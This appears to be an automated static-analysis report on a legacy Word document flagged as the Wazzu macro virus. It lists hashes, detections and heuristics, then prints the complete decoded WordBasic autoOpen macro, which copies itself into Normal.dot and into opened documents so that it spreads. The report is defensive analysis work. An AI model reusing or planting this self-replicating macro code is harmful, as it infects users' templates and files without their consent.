Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c963ca1af750f33e…

MALICIOUS

Office (OLE)

35.5 KB Created: 1999-09-08 21:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e13d829105ae5bb0650d8972108ee0ea SHA-1: 4fab3af854b5463a3cdab722a9dc7296e8d6c0e7 SHA-256: c963ca1af750f33e06eca4bbbd783e50b9fc02dabcdf30fc266039756e41a1b5
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is a legacy Microsoft Word document containing a WordBasic autoOpen macro. This macro is designed to copy itself to the Normal.dot template, which is a common technique for establishing persistence or spreading infection. ClamAV detections further confirm its malicious nature. The macro's intent is to ensure its own execution and potential spread across documents.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1423 bytes
SHA-256: ce5abfcabb0068d0f521ed4a96855b401d505cdf0971ebc461bdd520fe1ddd17
Detection
ClamAV: Doc.Trojan.Wazzu-14
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"
Option Explicit


Public Sub MAIN()
Dim TheSmallOne$
Dim TheBigOne$
Dim ThisOne$
Dim SmallFileAtt
    On Error GoTo -1: On Error GoTo jane

    'The Meat Grinder virus - Thanks to Kermit the Frog,
    ' and Kermit the Protocol
    
    TheSmallOne$ = WordBasic.[FileName$]() + ":autoOpen"

    TheBigOne$ = "Global:autoOpen"
    ThisOne$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))

    If ThisOne$ = "NORMAL.DOT" Then
        SmallFileAtt = GetAttr(WordBasic.[FileName$]())
        If SmallFileAtt >= 32 Then SmallFileAtt = SmallFileAtt - 32
        If SmallFileAtt >= 4 Then SmallFileAtt = SmallFileAtt - 4
        If SmallFileAtt >= 2 Then SmallFileAtt = SmallFileAtt - 2
        If SmallFileAtt = 0 Then
        
            WordBasic.MacroCopy TheBigOne$, TheSmallOne$
            WordBasic.FileSaveAs Format:=1
            WordBasic.SetDocumentDirty 0
        End If
    Else
        WordBasic.MacroCopy TheSmallOne$, TheBigOne$
    End If
    
GoTo oughta_here

jane:

oughta_here:
    On Error GoTo -1: On Error GoTo 0


End Sub

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